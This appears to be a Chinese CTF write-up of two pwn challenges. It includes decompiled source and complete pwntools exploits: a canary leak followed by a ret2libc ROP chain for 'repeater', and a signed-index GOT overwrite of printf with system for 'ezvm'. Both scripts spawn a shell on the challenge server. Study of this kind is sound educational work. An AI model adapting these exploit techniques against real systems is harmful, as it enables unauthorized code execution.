repeater_handout 复盘/ret2libc 题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 __int64 __fastcall main (int a1, char **a2, char **a3) { int v4; char buf[24 ]; unsigned __int64 v6; v6 = __readfsqword(0x28u ); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); puts ( "When Siesta was chatting with Rin-chan, he was so engrossed that he couldn't hear what Mio and Rinpo were saying. He" " just repeated their words to brush them off" ); while ( 1 ) { while ( 1 ) { puts ("choose your option: \n1. input\n2. repeat\n3. exit" ); __isoc99_scanf("%d" , &v4); if ( v4 != 1 ) break ; read(0 , buf, 0x100u LL); } if ( v4 != 2 ) break ; printf ("%s" , buf); } return 0LL ; }
先放wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *context.os='linux' context.arch='amd64' context.log_level='debug' r=remote('125.220.147.47' ,49739 ) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) e=ELF('./repeater_handout' ) pop_rdi_offset=0x02a3e5 ret_offset=0x029139 r.sendlineafter(b'choose your option: \n1. input\n2. repeat\n3. exit' ,b'1' ) payload0=b'a' *24 +b'b' r.send(payload0) r.sendlineafter(b'choose your option: \n1. input\n2. repeat\n3. exit' ,b'2' ) r.recv(25 ) canary=u64(r.recv()[25 :32 ].rjust(8 ,b'\x00' )) r.sendlineafter(b'choose your option: \n1. input\n2. repeat\n3. exit' ,b'1' ) payload1=b'a' *24 +b'b' *16 r.send(payload1) r.sendlineafter(b'choose your option: \n1. input\n2. repeat\n3. exit' ,b'2' ) r.recv(40 ) ret_add=u64(r.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) __libc_start_main_add=ret_add+48 libcbase=__libc_start_main_add-libc.sym['__libc_start_main' ] pop_rdi_add=libcbase+pop_rdi_offset ret=libcbase+ret_offset sys_add=libcbase+libc.sym['system' ] bin_add=libcbase+next (libc.search('/bin/sh' )) r.sendlineafter(b'choose your option: \n1. input\n2. repeat\n3. exit' ,b'1' ) payload2=b'a' *24 +p64(canary)+b'b' *8 +p64(pop_rdi_add)+p64(bin_add)+p64(ret)+p64(sys_add) r.send(payload2) r.interactive()
基本的栈溢出,有canary保护和NX保护,打ret2libc 溢出先覆盖canary的最低字节处的\x00,防止输出被截断,成功泄露canary,下一次溢出就可以绕过canary泄露出栈上的返回地址 接下来gdb调试一下得出泄露的返回地址与__libc_start_main函数的偏移,就成功泄露libc 此处注意在gdb时发现无法直接在main函数处下断点,现在知道__libc_start_main函数的第一个参数就是main函数地址,在__libc_start_main处下断点再查看rdi信息就可以得到main函数的地址了 尤其注意最后加上一个ret片段来完成栈对齐 知识引申:_start函数调用__libc_start_main函数,__libc_start_main函数中的一段,被称为__libc_start_call_main(在调试时可以看到)调用main函数,main函数返回时会返回到__libc_start_main函数的某一偏移处,接着调用exit函数,结束
ezvm 复现/虚拟机/got表覆写 这是一道虚拟机题目,一般源码很长,但漏洞点一般就一些,其他选项是迷惑 题目的虚拟机实现的源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 __int64 __fastcall sub_12AE (__int64 a1, __int64 a2, int a3) { int v3; __int64 result; char v6; char v7; char v8; char v9; char v10; char v11; unsigned __int8 v12; unsigned __int8 v13; unsigned __int8 v14; unsigned __int8 v15; char v16; char v17; char v18; char v19; char v20; char v21; unsigned __int8 v22; unsigned __int8 v23; unsigned __int8 v24; unsigned __int8 v25; int i; for ( i = 0 ; ; ++i ) { result = (unsigned int )i; if ( i >= a3 ) break ; v25 = *(_BYTE *)(i + a2); switch ( v25 ) { case 1u : sub_11E6(a1, *(unsigned __int8 *)(++i + a2)); break ; case 2u : sub_1254(a1); break ; case 3u : v7 = sub_1254(a1); v6 = sub_1254(a1); sub_11E6(a1, (unsigned __int8)(v7 + v6)); break ; case 4u : v9 = sub_1254(a1); v8 = sub_1254(a1); sub_11E6(a1, (unsigned __int8)(v9 - v8)); break ; case 5u : v3 = *(char *)(++i + a2); *(_BYTE *)(a1 + v3) = sub_1254(a1); break ; case 6u : sub_11E6(a1, *(unsigned __int8 *)(a1 + *(char *)(++i + a2))); break ; case 7u : if ( *(int *)(a1 + 256 ) < 0 ) { puts ("Stack underflow!" ); exit (1 ); } ++*(_BYTE *)(a1 + *(int *)(a1 + 256 ) + 128 ); break ; case 8u : if ( *(int *)(a1 + 256 ) < 0 ) { puts ("Stack underflow!" ); exit (1 ); } --*(_BYTE *)(a1 + *(int *)(a1 + 256 ) + 128 ); break ; case 9u : v11 = sub_1254(a1); v10 = sub_1254(a1); sub_11E6(a1, (unsigned __int8)(v10 * v11)); break ; case 0xAu : v13 = sub_1254(a1); v12 = sub_1254(a1); if ( !v12 ) { puts ("Division by zero!" ); exit (1 ); } sub_11E6(a1, (unsigned __int8)(v13 / v12)); break ; case 0xBu : v15 = sub_1254(a1); v14 = sub_1254(a1); if ( !v14 ) { puts ("Division by zero!" ); exit (1 ); } sub_11E6(a1, (unsigned __int8)(v15 % v14)); break ; case 0xCu : v17 = sub_1254(a1); v16 = sub_1254(a1); sub_11E6(a1, (unsigned __int8)(v16 & v17)); break ; case 0xDu : v19 = sub_1254(a1); v18 = sub_1254(a1); sub_11E6(a1, (unsigned __int8)(v18 | v19)); break ; case 0xEu : v21 = sub_1254(a1); v20 = sub_1254(a1); sub_11E6(a1, (unsigned __int8)(v20 ^ v21)); break ; case 0xFu : if ( *(int *)(a1 + 256 ) < 0 ) { puts ("Stack underflow!" ); exit (1 ); } *(_BYTE *)(a1 + *(int *)(a1 + 256 ) + 128 ) = ~*(_BYTE *)(a1 + *(int *)(a1 + 256 ) + 128 ); break ; case 0x10u : v22 = *(_BYTE *)(i + 1 + a2); if ( a3 <= v22 ) { puts ("Jump out of bounds!" ); exit (1 ); } i = v22 - 1 ; break ; case 0x11u : v23 = *(_BYTE *)(++i + a2); if ( a3 <= v23 ) { puts ("Jump out of bounds!" ); exit (1 ); } if ( *(int *)(a1 + 256 ) >= 0 && !*(_BYTE *)(a1 + *(int *)(a1 + 256 ) + 128 ) ) i = v23 - 1 ; break ; case 0x12u : v24 = *(_BYTE *)(++i + a2); if ( a3 <= v24 ) { puts ("Jump out of bounds!" ); exit (1 ); } if ( *(int *)(a1 + 256 ) >= 0 && *(_BYTE *)(a1 + *(int *)(a1 + 256 ) + 128 ) ) i = v24 - 1 ; break ; default : printf ("Unknown opcode: 0x%02X\n" , v25); exit (1 ); } } return result; }
经过逆向,主要有用的命令码有:0x01将下一个字节压栈;0x03:加法(弹出栈顶两元素相加后压栈);0x04:减法(弹出栈顶元素减次栈顶元素后压栈);0x05:将栈顶值存到下一字节索引处 选项0x05中的索引值类型为char,如果我们写入0x80,即128超出char的上限,0x80=0b10000000,符号位是1被认定为负数的补码,还原后会得到-128,即-0x80,这时我们在ida里发现索引到-128处正好是printf的got表项,那么我们根据偏移关系(libc.sym[“system”]和libc.sym[“printf”]比对),就可以把printf的got表项改为system,最后把”sh”写入(一般写/bin/sh,这里图省事),便可以getshell。 wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context.os='linux' context.arch='amd64' context.log_level='debug' libc=ELF('./libc.so.6' ) log.success(hex (libc.sym["system" ]-libc.sym["printf" ])) r=remote('125.220.147.47' ,49761 ) payload=b"\x01" +p8(0x70 )+b"\x05" +p8(0x80 ) payload+=b"\x01\x07\x06\x81\x03" +b"\x05" +p8(0x81 ) payload+=b"\x01\x01\x06\x82\x04" +b"\x05" +p8(0x82 ) payload+=b"\x01s" + b"\x05" +p8(0x0 )+ b"\x01h" + b"\x05" +p8(0x1 ) r.sendlineafter(b"input length: " , str (len (payload)).encode()) r.sendafter(b"input code: " , payload) r.interactive()